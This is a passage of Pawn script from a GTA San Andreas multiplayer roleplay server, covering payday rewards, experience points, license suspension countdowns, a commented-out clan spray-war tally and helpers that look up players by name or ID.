				new expamountt;
					if(nxtlevel < 8) {expamountt = nxtlevel*2;}
					else if(nxtlevel < 15 && nxtlevel > 7) {expamountt = nxtlevel*3;}
					else if(nxtlevel > 14) {expamountt = nxtlevel*4;}

					if(tmphour >= 19 && tmphour <= 24 && PlayerInfo[i][pPremiumAccount] != 0) {
					new ajabzstr[512];
				format(ajabzstr, sizeof(ajabzstr), "You received double respect and paycheck for play in fun times.", PINFO[i][pExp], expamountt);
				SCM(i, COLOR_Good, ajabzstr);
					PlayerInfo[i][pExp]++;
				SaveKonVal(i, "pExp", PINFO[i][pExp]);
					}
					//if(tmphour == 15 || tmphour == 20) {
					//SendMessage(i, COLOR_LIGHTRED, "You earned 2 free golds for this payday (15-20).");
					//PINFO[i][pGold] += 2;
					//SaveKonVal(i, "pGold", PINFO[i][pGold]);
					//}
				if(PINFO[i][pExp] == expamountt)
				{
					new ajabzstr[256];
					format(ajabzstr, 256, "You earn a respect and your respect it's %i/%i now, you can now type /buylevel.", PINFO[i][pExp], expamountt);
					SCM(i, COLOR_Good, ajabzstr);
				}

				if(PINFO[i][pIlPoints] < 5 && PINFO[i][pPremiumAccount] == 0)
				{
				PlayerInfo[i][pIlPoints] += 1;
				SaveKonVal(i, "pIlPoints", PINFO[i][pIlPoints]);
				}
				if(PINFO[i][pIlPoints] < 9 && PINFO[i][pPremiumAccount] >= 1)
				{
				PlayerInfo[i][pIlPoints] += 1;
				SaveKonVal(i, "pIlPoints", PINFO[i][pIlPoints]);
				}
				if(PINFO[i][pHackPoints] < 11 && PINFO[i][pMember] == 17 && PINFO[i][pRank] < 7 && PINFO[i][pLeader] == 0)
				{
				PlayerInfo[i][pHackPoints] += 1;
				SaveKonVal(i, "pHackPoints", PINFO[i][pHackPoints]);
				}
				if(PINFO[i][pHackPoints] < 16 && PINFO[i][pLeader] == 17)
				{
				PlayerInfo[i][pHackPoints] += 1;
				SaveKonVal(i, "pHackPoints", PINFO[i][pHackPoints]);
				}
				rent = 0;
				PlayerInfo[i][pPayCheck] = 0;
				if(AFK[i] == 0)
				{
					PlayerInfo[i][pConnectTime] += 1;
					SaveKonVal(i, "pConnectTime", PINFO[i][pConnectTime]);
				}
				if(AFK[i] == 1)
				{
					PlayerInfo[i][pAFKtime] += 1;
					SaveKonVal(i, "pAFKtime", PINFO[i][pAFKtime]);
				}
				if((PINFO[i][pPremiumAccount] == 0 && PlayerInfo[i][pRob] < 20) || (PINFO[i][pPremiumAccount] == 1 && PlayerInfo[i][pRob] < 30) || (PINFO[i][pPremiumAccount] == 2 && PlayerInfo[i][pRob] < 40))
				{
					PlayerInfo[i][pRob] += 1;
					SaveKonVal(i, "pRob", PINFO[i][pRob]);
				}
				if(PINFO[i][pCarLic] >= 1)
				{
				PINFO[i][pCarLic] --;
				SaveKonVal(i, "pCarLic", PINFO[i][pCarLic]);
				}
				if(PINFO[i][pFlyLic] >= 1)
				{
				PINFO[i][pFlyLic] --;
				SaveKonVal(i, "pFlyLic", PINFO[i][pFlyLic]);
				}
				if(PINFO[i][pBoatLic] >= 1)
				{
				PINFO[i][pBoatLic] --;
				SaveKonVal(i, "pBoatLic", PINFO[i][pBoatLic]);
				}
				if(PINFO[i][pFishLic] >= 1)
				{
				PINFO[i][pFishLic] --;
				SaveKonVal(i, "pFishLic", PINFO[i][pFishLic]);
				}
				if(PINFO[i][pGunLic] >= 1)
				{
				PINFO[i][pGunLic] --;
				SaveKonVal(i, "pGunLic", PINFO[i][pGunLic]);
				}
				if(PINFO[i][pMatsLic] >= 1)
				{
				PINFO[i][pMatsLic] --;
				SaveKonVal(i, "pMatsLic", PINFO[i][pMatsLic]);
				}
				if(PINFO[i][pNCard] >= 1)
				{
				PINFO[i][pNCard] --;
				SaveKonVal(i, "pNCard", PINFO[i][pNCard]);
				if(PINFO[i][pNCard]==0){SCM(i, COLOR_SINARANG, "Your national card expired.");}
				}
				if(gTeam[i] == TEAM_COP)
				{
					if(PlayerInfo[i][pRank] >= 3)
					{
					   if(PlayerInfo[i][pLawyerPoint] != 20)
					   {
						  PlayerInfo[i][pLawyerPoint] += 1;
						  SaveKonVal(i, "pLawyerPoint", PINFO[i][pLawyerPoint]);
					   }
					}
				}
				if(PlayerInfo[i][pMember] == 16 || PlayerInfo[i][pLeader] == 16)
				{
					PlayerInfo[i][pTow] += 5;
					SaveKonVal(i, "pTow", PINFO[i][pTow]);
				}
				if(PlayerInfo[i][pCarLicS] > 0)
				{
					PlayerInfo[i][pCarLicS]--;
					SaveKonVal(i, "pCarLicS", PINFO[i][pCarLicS]);
					if (PlayerInfo[i][pCarLicS] <= 0)
					{
					   PlayerInfo[i][pCarLicS] = 0;
					   SaveKonVal(i, "pCarLicS", 0);
					   SendMessage(i, COLOR_WHITE, "Your driving license has been re-issued. Try to be a better citizen.");
					}
					else
					{
					   format(string, sizeof(string), "Your driving license is suspended for %d more Hours.",PlayerInfo[i][pCarLicS]);
					   SendMessage(i, COLOR_YELLOW2, string);
					}
				}
				if(PlayerInfo[i][pFlyLicS] > 0)
				{
					PlayerInfo[i][pFlyLicS]--;
					SaveKonVal(i, "pFlyLicS", PINFO[i][pFlyLicS]);
					if (PlayerInfo[i][pFlyLicS] <= 0)
					{
					   PlayerInfo[i][pFlyLicS] = 0;
					   SaveKonVal(i, "pFlyLicS", PINFO[i][pFlyLicS]);
					   SendMessage(i, COLOR_WHITE, "Your flying license has been re-issued. Try to be a better citizen.");
					}
					else
					{
					   format(string, sizeof(string), "Your flying license is suspended for %d more Hours.",PlayerInfo[i][pFlyLicS]);
					   SendMessage(i, COLOR_YELLOW2, string);
					}
				}
				if(PlayerInfo[i][pBoatLicS] > 0)
				{
					PlayerInfo[i][pBoatLicS]--;
					SaveKonVal(i, "pBoatLicS", PINFO[i][pBoatLicS]);
					if (PlayerInfo[i][pBoatLicS] <= 0)
					{
					   PlayerInfo[i][pBoatLicS] = 0;
					   SaveKonVal(i, "pBoatLicS", PINFO[i][pBoatLicS]);
					   SendMessage(i, COLOR_WHITE, "Your boating license has been re-issued. Try to be a better citizen.");
					}
					else
					{
					   format(string, sizeof(string), "Your boating license is suspended for %d more Hours.",PlayerInfo[i][pBoatLicS]);
					   SendMessage(i, COLOR_YELLOW, string);
					}
				}
				if(PlayerInfo[i][pGunLicS] > 0)
				{
					PlayerInfo[i][pGunLicS]--;
					SaveKonVal(i, "pGunLicS", PINFO[i][pGunLicS]);
					if (PlayerInfo[i][pGunLicS] <= 0)
					{
					   PlayerInfo[i][pGunLicS] = 0;
					   SaveKonVal(i, "pGunLicS", PINFO[i][pGunLicS]);
					   SendMessage(i, COLOR_WHITE, "Your weapons license has been re-issued. Try to be a better citizen.");
					}
					else
					{
					   format(string, sizeof(string), "Your weapons license is suspended for %d more Hours.",PlayerInfo[i][pGunLicS]);
					   SendMessage(i, COLOR_YELLOW, string);
					}
				}
				if(PlayerInfo[i][pMatsLicS] > 0)
				{
					PlayerInfo[i][pMatsLicS]--;
					SaveKonVal(i, "pMatsLicS", PINFO[i][pMatsLicS]);
					if (PlayerInfo[i][pMatsLicS] <= 0)
					{
					   PlayerInfo[i][pMatsLicS] = 0;
					   SaveKonVal(i, "pMatsLicS", PINFO[i][pMatsLicS]);
					   SendMessage(i, COLOR_WHITE, "Your materials license has been re-issued. Try to be a better citizen.");
					}
					else
					{
					   format(string, sizeof(string), "Your materials license is suspended for %d more Hours.",PlayerInfo[i][pMatsLicS]);
					   SendMessage(i, COLOR_YELLOW, string);
					}
				}
				if(PlayerInfo[i][pPremiumAccount] > 0)
				{
					PlayerInfo[i][pPayDayHad] += 1;
					SaveKonVal(i, "pPayDayHad", PINFO[i][pPayDayHad]);
					if(PlayerInfo[i][pPayDayHad] >= 4)
					{
					   PlayerInfo[i][pExp]++;
					   SaveKonVal(i, "pExp", PINFO[i][pExp]);
					   PlayerInfo[i][pPayDayHad] = 0;
					   SaveKonVal(i, "pPayDayHad", 0);
					   SCM(i,COLOR_MAMAD,"You've been taken 1 respect point as prize.");
					   if(PINFO[i][pExp] == expamountt)
					   {
						  new ajabzstr[256];
						  format(ajabzstr, 256, "You earn a respect and your respect it's %i/%i now, you can now type /buylevel.", PINFO[i][pExp], expamountt);
						  SCM(i, COLOR_Good, ajabzstr);
					   }
					}
				}
				if(PlayerInfo[i][pPunish] > 0)
				{
					PlayerInfo[i][pPunish] -= 1;
					SaveKonVal(i, "pPunish", PINFO[i][pPunish]);
				}
				/*
					if(PINFO[i][pSoldier] != 0 && AFK[i] == 0) {
					PINFO[i][pSoldier] -= 1;
					SaveKonVal(i, "pSoldier", PINFO[i][pSoldier]);
					if(PINFO[i][pSoldier] == 0) {
					PINFO[i][pCard] = 1;
					SaveKonVal(i, "pCard", 1);
					GivePlayerPool(i, 10000);
					SCM(i, COLOR_RED, "{FFFF00}Your soldier ship has been finished.");
					SCM(i, COLOR_RED, "{FFFF00}You have soldier finish card now.");
					SCM(i, COLOR_RED, "{FFFF00}You earned 10,000$ for prize.");
					PlayerInfo[i][cSkin] = 250;
					SaveKonVal(i, "cSkin", 250);
					SetPlayerSkin(i, PINFO[i][cSkin]);
					//new string[512];
					format(string, sizeof(string), "[BASE]: %s gots finish card.", PINFO[i][pName]);
					SendSolMessage(COLOR_SSH, string);
					MedicBill[i] = 0;
					ResetPlayerKolang(i);
					SetSpawnKol(i);
					SpawnPlayer(i);
					}
					}
					*/
				MyPayMin[i] = 0;
			 }
			 else
			 {
				SendMessage(i, COLOR_LIGHTRED, "** You haven't played long enough to obtain a PayDay.");
				if(BetShopLock == 1)// :DD
				{
					BetShopLock = 0;
					MoveDynamicObject(betshopgate,2318.98193, -1983.48926, 9.76464, 3);// Baz she
					betshopl = SetTimer("betshoptime", 600000, 0);
					SendClientMessageToAll(COLOR_SINARANG, "****   The betshop is now open! Use /findsbiz 22 to go to betshop. (You have 10 minutes)");
				}
			 }
		  }
	   }
	}
	SaveAccounts();
	return 1;
}
/*
forward ElamB();
public ElamB() {
new tmphour;
new tmpminute;
new tmpsecond;
gettime(tmphour, tmpminute, tmpsecond);
if(tmphour == 22) {
ElamShod = 0;
}
if(tmphour == 23 && ElamShod == 0) {
ElameBarande();
ElamShod = 1;
SetTimer("BedePoolx" ,15000 ,false);
}
}
*/
/*
forward BedePoolx();
public BedePoolx() {
if(AdadClan[0] > AdadClan[1] && AdadClan[0] > AdadClan[2] && AdadClan[0] > AdadClan[3] && AdadClan[0] > AdadClan[4] && AdadClan[0] > AdadClan[5] && AdadClan[0] > AdadClan[6] && AdadClan[0] > AdadClan[7] && AdadClan[0] > AdadClan[17] && AdadClan[0] > AdadClan[18]
&& AdadClan[0] > AdadClan[8] && AdadClan[0] > AdadClan[9] && AdadClan[0] > AdadClan[10] && AdadClan[0] > AdadClan[11] && AdadClan[0] > AdadClan[12] && AdadClan[0] > AdadClan[13] && AdadClan[0] > AdadClan[14] && AdadClan[0] > AdadClan[15] && AdadClan[0] > AdadClan[16] && AdadClan[0] > AdadClan[19] && AdadClan[0] > AdadClan[20]) {
		Barande = 0;
		}
		else if(AdadClan[1] > AdadClan[0] && AdadClan[1] > AdadClan[2] && AdadClan[1] > AdadClan[3] && AdadClan[1] > AdadClan[4] && AdadClan[1] > AdadClan[5] && AdadClan[1] > AdadClan[6] && AdadClan[1] > AdadClan[7] && AdadClan[1] > AdadClan[17] && AdadClan[1] > AdadClan[18]
&& AdadClan[1] > AdadClan[8] && AdadClan[1] > AdadClan[9] && AdadClan[1] > AdadClan[10] && AdadClan[1] > AdadClan[11] && AdadClan[1] > AdadClan[12] && AdadClan[1] > AdadClan[13] && AdadClan[1] > AdadClan[14] && AdadClan[1] > AdadClan[15] && AdadClan[1] > AdadClan[16] && AdadClan[1] > AdadClan[19] && AdadClan[1] > AdadClan[20]) {
		Barande = 1;
		}
		else if(AdadClan[2] > AdadClan[0] && AdadClan[2] > AdadClan[1] && AdadClan[2] > AdadClan[3] && AdadClan[2] > AdadClan[4] && AdadClan[2] > AdadClan[5] && AdadClan[2] > AdadClan[6] && AdadClan[2] > AdadClan[7] && AdadClan[2] > AdadClan[17] && AdadClan[2] > AdadClan[18]
&& AdadClan[2] > AdadClan[8] && AdadClan[2] > AdadClan[9] && AdadClan[2] > AdadClan[10] && AdadClan[2] > AdadClan[11] && AdadClan[2] > AdadClan[12] && AdadClan[2] > AdadClan[13] && AdadClan[2] > AdadClan[14] && AdadClan[2] > AdadClan[15] && AdadClan[2] > AdadClan[16] && AdadClan[2] > AdadClan[19] && AdadClan[2] > AdadClan[20]) {
		Barande = 2;
		}
		else if(AdadClan[3] > AdadClan[0] && AdadClan[3] > AdadClan[1] && AdadClan[3] > AdadClan[2] && AdadClan[3] > AdadClan[4] && AdadClan[3] > AdadClan[5] && AdadClan[3] > AdadClan[6] && AdadClan[3] > AdadClan[7] && AdadClan[3] > AdadClan[17] && AdadClan[3] > AdadClan[18]
&& AdadClan[3] > AdadClan[8] && AdadClan[3] > AdadClan[9] && AdadClan[3] > AdadClan[10] && AdadClan[3] > AdadClan[11] && AdadClan[3] > AdadClan[12] && AdadClan[3] > AdadClan[13] && AdadClan[3] > AdadClan[14] && AdadClan[3] > AdadClan[15] && AdadClan[3] > AdadClan[16] && AdadClan[3] > AdadClan[19] && AdadClan[3] > AdadClan[20]) {
		Barande = 3;
		}
		else if(AdadClan[4] > AdadClan[0] && AdadClan[4] > AdadClan[1] && AdadClan[4] > AdadClan[3] && AdadClan[4] > AdadClan[2] && AdadClan[4] > AdadClan[5] && AdadClan[4] > AdadClan[6] && AdadClan[4] > AdadClan[7] && AdadClan[4] > AdadClan[17] && AdadClan[4] > AdadClan[18]
&& AdadClan[4] > AdadClan[8] && AdadClan[4] > AdadClan[9] && AdadClan[4] > AdadClan[10] && AdadClan[4] > AdadClan[11] && AdadClan[4] > AdadClan[12] && AdadClan[4] > AdadClan[13] && AdadClan[4] > AdadClan[14] && AdadClan[4] > AdadClan[15] && AdadClan[4] > AdadClan[16] && AdadClan[4] > AdadClan[19] && AdadClan[4] > AdadClan[20]) {
		Barande = 4;
		}
		else if(AdadClan[5] > AdadClan[0] && AdadClan[5] > AdadClan[1] && AdadClan[5] > AdadClan[3] && AdadClan[5] > AdadClan[4] && AdadClan[5] > AdadClan[2] && AdadClan[5] > AdadClan[6] && AdadClan[5] > AdadClan[7] && AdadClan[5] > AdadClan[17] && AdadClan[5] > AdadClan[18]
&& AdadClan[5] > AdadClan[8] && AdadClan[5] > AdadClan[9] && AdadClan[5] > AdadClan[10] && AdadClan[5] > AdadClan[11] && AdadClan[5] > AdadClan[12] && AdadClan[5] > AdadClan[13] && AdadClan[5] > AdadClan[14] && AdadClan[5] > AdadClan[15] && AdadClan[5] > AdadClan[16] && AdadClan[5] > AdadClan[19] && AdadClan[5] > AdadClan[20]) {
		Barande = 5;
		}
		else if(AdadClan[6] > AdadClan[0] && AdadClan[6] > AdadClan[1] && AdadClan[6] > AdadClan[3] && AdadClan[6] > AdadClan[4] && AdadClan[6] > AdadClan[5] && AdadClan[6] > AdadClan[2] && AdadClan[6] > AdadClan[7] && AdadClan[6] > AdadClan[17] && AdadClan[6] > AdadClan[18]
&& AdadClan[6] > AdadClan[8] && AdadClan[6] > AdadClan[9] && AdadClan[6] > AdadClan[10] && AdadClan[6] > AdadClan[11] && AdadClan[6] > AdadClan[12] && AdadClan[6] > AdadClan[13] && AdadClan[6] > AdadClan[14] && AdadClan[6] > AdadClan[15] && AdadClan[6] > AdadClan[16] && AdadClan[6] > AdadClan[19] && AdadClan[6] > AdadClan[20]) {
		Barande = 6;
		}
		else if(AdadClan[7] > AdadClan[0] && AdadClan[7] > AdadClan[1] && AdadClan[7] > AdadClan[3] && AdadClan[7] > AdadClan[4] && AdadClan[7] > AdadClan[5] && AdadClan[7] > AdadClan[6] && AdadClan[7] > AdadClan[2] && AdadClan[7] > AdadClan[17] && AdadClan[7] > AdadClan[18]
&& AdadClan[7] > AdadClan[8] && AdadClan[7] > AdadClan[9] && AdadClan[7] > AdadClan[10] && AdadClan[7] > AdadClan[11] && AdadClan[7] > AdadClan[12] && AdadClan[7] > AdadClan[13] && AdadClan[7] > AdadClan[14] && AdadClan[7] > AdadClan[15] && AdadClan[7] > AdadClan[16] && AdadClan[7] > AdadClan[19] && AdadClan[7] > AdadClan[20]) {
		Barande = 7;
		}
		else if(AdadClan[8] > AdadClan[0] && AdadClan[8] > AdadClan[1] && AdadClan[8] > AdadClan[3] && AdadClan[8] > AdadClan[4] && AdadClan[8] > AdadClan[5] && AdadClan[8] > AdadClan[6] && AdadClan[8] > AdadClan[7] && AdadClan[8] > AdadClan[17] && AdadClan[8] > AdadClan[18]
&& AdadClan[8] > AdadClan[2] && AdadClan[8] > AdadClan[9] && AdadClan[8] > AdadClan[10] && AdadClan[8] > AdadClan[11] && AdadClan[8] > AdadClan[12] && AdadClan[8] > AdadClan[13] && AdadClan[8] > AdadClan[14] && AdadClan[8] > AdadClan[15] && AdadClan[8] > AdadClan[16] && AdadClan[8] > AdadClan[19] && AdadClan[8] > AdadClan[20]) {
		Barande = 8;
		}
		else if(AdadClan[9] > AdadClan[0] && AdadClan[9] > AdadClan[1] && AdadClan[9] > AdadClan[3] && AdadClan[9] > AdadClan[4] && AdadClan[9] > AdadClan[5] && AdadClan[9] > AdadClan[6] && AdadClan[9] > AdadClan[7] && AdadClan[9] > AdadClan[17] && AdadClan[9] > AdadClan[18]
&& AdadClan[9] > AdadClan[8] && AdadClan[9] > AdadClan[2] && AdadClan[9] > AdadClan[10] && AdadClan[9] > AdadClan[11] && AdadClan[9] > AdadClan[12] && AdadClan[9] > AdadClan[13] && AdadClan[9] > AdadClan[14] && AdadClan[9] > AdadClan[15] && AdadClan[9] > AdadClan[16] && AdadClan[9] > AdadClan[19] && AdadClan[9] > AdadClan[20]) {
		Barande = 9;
		}
		else if(AdadClan[10] > AdadClan[0] && AdadClan[10] > AdadClan[1] && AdadClan[10] > AdadClan[3] && AdadClan[10] > AdadClan[4] && AdadClan[10] > AdadClan[5] && AdadClan[10] > AdadClan[6] && AdadClan[10] > AdadClan[7] && AdadClan[10] > AdadClan[17] && AdadClan[10] > AdadClan[18]
&& AdadClan[10] > AdadClan[8] && AdadClan[10] > AdadClan[9] && AdadClan[10] > AdadClan[2] && AdadClan[10] > AdadClan[11] && AdadClan[10] > AdadClan[12] && AdadClan[10] > AdadClan[13] && AdadClan[10] > AdadClan[14] && AdadClan[10] > AdadClan[15] && AdadClan[10] > AdadClan[16] && AdadClan[10] > AdadClan[19] && AdadClan[10] > AdadClan[20]) {
		Barande = 10;
		}
		else if(AdadClan[11] > AdadClan[0] && AdadClan[11] > AdadClan[1] && AdadClan[11] > AdadClan[3] && AdadClan[11] > AdadClan[4] && AdadClan[11] > AdadClan[5] && AdadClan[11] > AdadClan[6] && AdadClan[11] > AdadClan[7] && AdadClan[11] > AdadClan[17] && AdadClan[11] > AdadClan[18]
&& AdadClan[11] > AdadClan[8] && AdadClan[11] > AdadClan[9] && AdadClan[11] > AdadClan[10] && AdadClan[11] > AdadClan[2] && AdadClan[11] > AdadClan[12] && AdadClan[11] > AdadClan[13] && AdadClan[11] > AdadClan[14] && AdadClan[11] > AdadClan[15] && AdadClan[11] > AdadClan[16] && AdadClan[11] > AdadClan[19] && AdadClan[11] > AdadClan[20]) {
		Barande = 11;
		}
		else if(AdadClan[12] > AdadClan[0] && AdadClan[12] > AdadClan[1] && AdadClan[12] > AdadClan[3] && AdadClan[12] > AdadClan[4] && AdadClan[12] > AdadClan[5] && AdadClan[12] > AdadClan[6] && AdadClan[12] > AdadClan[7] && AdadClan[12] > AdadClan[17] && AdadClan[12] > AdadClan[18]
&& AdadClan[12] > AdadClan[8] && AdadClan[12] > AdadClan[9] && AdadClan[12] > AdadClan[10] && AdadClan[12] > AdadClan[11] && AdadClan[12] > AdadClan[2] && AdadClan[12] > AdadClan[13] && AdadClan[12] > AdadClan[14] && AdadClan[12] > AdadClan[15] && AdadClan[12] > AdadClan[16] && AdadClan[12] > AdadClan[19] && AdadClan[12] > AdadClan[20]) {
		Barande = 12;
		}
		else if(AdadClan[13] > AdadClan[0] && AdadClan[13] > AdadClan[1] && AdadClan[13] > AdadClan[3] && AdadClan[13] > AdadClan[4] && AdadClan[13] > AdadClan[5] && AdadClan[13] > AdadClan[6] && AdadClan[13] > AdadClan[7] && AdadClan[13] > AdadClan[17] && AdadClan[13] > AdadClan[18]
&& AdadClan[13] > AdadClan[8] && AdadClan[13] > AdadClan[9] && AdadClan[13] > AdadClan[10] && AdadClan[13] > AdadClan[11] && AdadClan[13] > AdadClan[12] && AdadClan[13] > AdadClan[2] && AdadClan[13] > AdadClan[14] && AdadClan[13] > AdadClan[15] && AdadClan[13] > AdadClan[16] && AdadClan[13] > AdadClan[19] && AdadClan[13] > AdadClan[20]) {
		Barande = 13;
		}
		else if(AdadClan[14] > AdadClan[0] && AdadClan[14] > AdadClan[1] && AdadClan[14] > AdadClan[3] && AdadClan[14] > AdadClan[4] && AdadClan[14] > AdadClan[5] && AdadClan[14] > AdadClan[6] && AdadClan[14] > AdadClan[7] && AdadClan[14] > AdadClan[17] && AdadClan[14] > AdadClan[18]
&& AdadClan[14] > AdadClan[8] && AdadClan[14] > AdadClan[9] && AdadClan[14] > AdadClan[10] && AdadClan[14] > AdadClan[11] && AdadClan[14] > AdadClan[12] && AdadClan[14] > AdadClan[13] && AdadClan[14] > AdadClan[2] && AdadClan[14] > AdadClan[15] && AdadClan[14] > AdadClan[16] && AdadClan[14] > AdadClan[19] && AdadClan[14] > AdadClan[20]) {
		Barande = 14;
		}
		else if(AdadClan[15] > AdadClan[0] && AdadClan[15] > AdadClan[1] && AdadClan[15] > AdadClan[3] && AdadClan[15] > AdadClan[4] && AdadClan[15] > AdadClan[5] && AdadClan[15] > AdadClan[6] && AdadClan[15] > AdadClan[7] && AdadClan[15] > AdadClan[17] && AdadClan[15] > AdadClan[18]
&& AdadClan[15] > AdadClan[8] && AdadClan[15] > AdadClan[9] && AdadClan[15] > AdadClan[10] && AdadClan[15] > AdadClan[11] && AdadClan[15] > AdadClan[12] && AdadClan[15] > AdadClan[13] && AdadClan[15] > AdadClan[14] && AdadClan[15] > AdadClan[2] && AdadClan[15] > AdadClan[16] && AdadClan[15] > AdadClan[19] && AdadClan[15] > AdadClan[20]) {
		Barande = 15;
		}
		else if(AdadClan[16] > AdadClan[0] && AdadClan[16] > AdadClan[1] && AdadClan[16] > AdadClan[3] && AdadClan[16] > AdadClan[4] && AdadClan[16] > AdadClan[5] && AdadClan[16] > AdadClan[6] && AdadClan[16] > AdadClan[7] && AdadClan[16] > AdadClan[17] && AdadClan[16] > AdadClan[18]
&& AdadClan[16] > AdadClan[8] && AdadClan[16] > AdadClan[9] && AdadClan[16] > AdadClan[10] && AdadClan[16] > AdadClan[11] && AdadClan[16] > AdadClan[12] && AdadClan[16] > AdadClan[13] && AdadClan[16] > AdadClan[14] && AdadClan[16] > AdadClan[15] && AdadClan[16] > AdadClan[2] && AdadClan[16] > AdadClan[19] && AdadClan[16] > AdadClan[20]) {
		Barande = 16;
		}
		else if(AdadClan[17] > AdadClan[0] && AdadClan[17] > AdadClan[1] && AdadClan[17] > AdadClan[3] && AdadClan[17] > AdadClan[4] && AdadClan[17] > AdadClan[5] && AdadClan[17] > AdadClan[6] && AdadClan[17] > AdadClan[7] && AdadClan[17] > AdadClan[2] && AdadClan[17] > AdadClan[18]
&& AdadClan[17] > AdadClan[8] && AdadClan[17] > AdadClan[9] && AdadClan[17] > AdadClan[10] && AdadClan[17] > AdadClan[11] && AdadClan[17] > AdadClan[12] && AdadClan[17] > AdadClan[13] && AdadClan[17] > AdadClan[14] && AdadClan[17] > AdadClan[15] && AdadClan[17] > AdadClan[16] && AdadClan[17] > AdadClan[19] && AdadClan[17] > AdadClan[20]) {
		Barande = 17;
		}
		else if(AdadClan[18] > AdadClan[0] && AdadClan[18] > AdadClan[1] && AdadClan[18] > AdadClan[3] && AdadClan[18] > AdadClan[4] && AdadClan[18] > AdadClan[5] && AdadClan[18] > AdadClan[6] && AdadClan[18] > AdadClan[7] && AdadClan[18] > AdadClan[17] && AdadClan[18] > AdadClan[2]
&& AdadClan[18] > AdadClan[8] && AdadClan[18] > AdadClan[9] && AdadClan[18] > AdadClan[10] && AdadClan[18] > AdadClan[11] && AdadClan[18] > AdadClan[12] && AdadClan[18] > AdadClan[13] && AdadClan[18] > AdadClan[14] && AdadClan[18] > AdadClan[15] && AdadClan[18] > AdadClan[16] && AdadClan[18] > AdadClan[19] && AdadClan[18] > AdadClan[20]) {
		Barande = 18;
		}
		else if(AdadClan[19] > AdadClan[0] && AdadClan[19] > AdadClan[1] && AdadClan[19] > AdadClan[3] && AdadClan[19] > AdadClan[4] && AdadClan[19] > AdadClan[5] && AdadClan[19] > AdadClan[6] && AdadClan[19] > AdadClan[7] && AdadClan[19] > AdadClan[17] && AdadClan[19] > AdadClan[18]
&& AdadClan[19] > AdadClan[8] && AdadClan[19] > AdadClan[9] && AdadClan[19] > AdadClan[10] && AdadClan[19] > AdadClan[11] && AdadClan[19] > AdadClan[12] && AdadClan[19] > AdadClan[13] && AdadClan[19] > AdadClan[14] && AdadClan[19] > AdadClan[15] && AdadClan[19] > AdadClan[16] && AdadClan[19] > AdadClan[2] && AdadClan[19] > AdadClan[20]) {
		Barande = 19;
		}
		else if(AdadClan[20] > AdadClan[0] && AdadClan[20] > AdadClan[1] && AdadClan[20] > AdadClan[3] && AdadClan[20] > AdadClan[4] && AdadClan[20] > AdadClan[5] && AdadClan[20] > AdadClan[6] && AdadClan[20] > AdadClan[7] && AdadClan[20] > AdadClan[17] && AdadClan[20] > AdadClan[18]
&& AdadClan[20] > AdadClan[8] && AdadClan[20] > AdadClan[9] && AdadClan[20] > AdadClan[10] && AdadClan[20] > AdadClan[11] && AdadClan[20] > AdadClan[12] && AdadClan[20] > AdadClan[13] && AdadClan[20] > AdadClan[14] && AdadClan[20] > AdadClan[15] && AdadClan[20] > AdadClan[16] && AdadClan[20] > AdadClan[19] && AdadClan[20] > AdadClan[2]) {
		Barande = 20;
		}
		else {Barande = 9999;}
		if(Barande != 9999 || Barande != 0) {
		new barande[512];
		format(barande, sizeof(barande), "The winner of the spray war between official clans is: %s (%s) by %i spray.", DynamicClans[Barande-1][cName], DynamicClans[Barande-1][cTag], AdadClan[Barande]);
		SendClientMessageToAll(COLOR_WHITE, barande);
		BedePool();
		}
}
*/
forward Paymec(playerid);
public Paymec(playerid)
{
	MyPayMin[playerid] += 1;
	return 1;
}
/*NumberBoodan(const string[])//By SiNaGaMeR
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(string[i] < '0' || string[i] > '9' || string[i] < '0' || string[i] > '9') return 0;
	}
	return 1;
}*/
ReturnUserEx(string[])//By SiNaGaMeR
{
	new Name[MAX_PLAYER_NAME],ID = INVALID_PLAYER_ID;
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  GetPlayerName(i, Name, MAX_PLAYER_NAME);
		  if(!strcmp(Name,string,true)) ID = i;
	   }
	}
	return ID;
}
/*ReturnMulti(playerid)//By SiNaGaMeR
{
	new ip[MAX_PLAYERS];
	GetPlayerIp(playerid, ip, sizeof(ip));


	new query[300];
	mysql_format(handle, query, 300, "SELECT * FROM `users` WHERE pIp='%e' AND pGift != '0'", ip);
	mysql_function_query(handle,query,true,"ReturnMulti2","is",playerid,ip);
	return 1;

}*/
/*forward  ReturnMulti2(playerid,ip[]);
public ReturnMulti2(playerid,ip[]) {

new rows = cache_get_row_count(handle);
if(rows > 0) return 1;

PINFO[playerid][pGift] = 1;
SaveKonVal(playerid, "pGift", 1);
PINFO[playerid][pLevel] += 2;
SaveKonVal(playerid, "pLevel", PINFO[playerid][pLevel]);
SetPlayerScore(playerid,PlayerInfo[playerid][pLevel]);

PINFO[playerid][pGold] += 100;
SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);

SCM(playerid, COLOR_YELLOW, "Happy New Year! You got 100 golds and 2+ level for this gift package.");
SCM(playerid, COLOR_YELLOW, "Have a good year :)");
RemovePlayerMapIcon(playerid, 32);
RemovePlayerMapIcon(playerid, 33);
RemovePlayerMapIcon(playerid, 34);
RemovePlayerMapIcon(playerid, 35);
RemovePlayerMapIcon(playerid, 36);
RemovePlayerMapIcon(playerid, 37);
RemovePlayerMapIcon(playerid, 38);
RemovePlayerMapIcon(playerid, 39);
RemovePlayerMapIcon(playerid, 40);
return 1;
}*/
GetTurfOwnerColor(factionid)
{
	switch(factionid)
	{
		case 5:return 0x5D7E8D99;//silence
		case 6:return 0x3E353599;//triads
		case 12:return 0x19AF2399;//grove street
		case 13:return 0xFFBA0099;//legendary men
		case 14:return 0x9900FF99;//ballas
		case 15:return 0x00ECEC99;//storm men
		default:return 0xFFFFFF99;
	}
	return 0;
}
stock ReturnUser3(text[], playerid = INVALID_PLAYER_ID)
{
	new pos = 0;
	while (text[pos] < 0x21) // Strip out leading spaces
	{
	   if (text[pos] == 0) return INVALID_PLAYER_ID; // No passed text
	   pos++;
	}
	new userid = INVALID_PLAYER_ID;
	if (IsNumeric(text[pos])) // Check whole passed string
	{
	   // If they have a numeric name you have a problem (although names are checked on id failure)
	   userid = strval(text[pos]);
	   if (userid >=0 && userid < (MAX_PLAYERS-MAX_NPCC))
	   {
		  if(!IsPlayerConnected(userid))
		  {
			 userid = INVALID_PLAYER_ID;
		  }
		  else
		  {
			 return userid; // A player was found
		  }
	   }
	}
	// They entered [part of] a name or the id search failed (check names just incase)
	new len = strlen(text[pos]);
	new count = 0;
	new name[MAX_PLAYER_NAME];
	for (new i = 0; i < (MAX_PLAYERS-MAX_NPCC); i++)
	{
	   if (IsPlayerConnected(i))
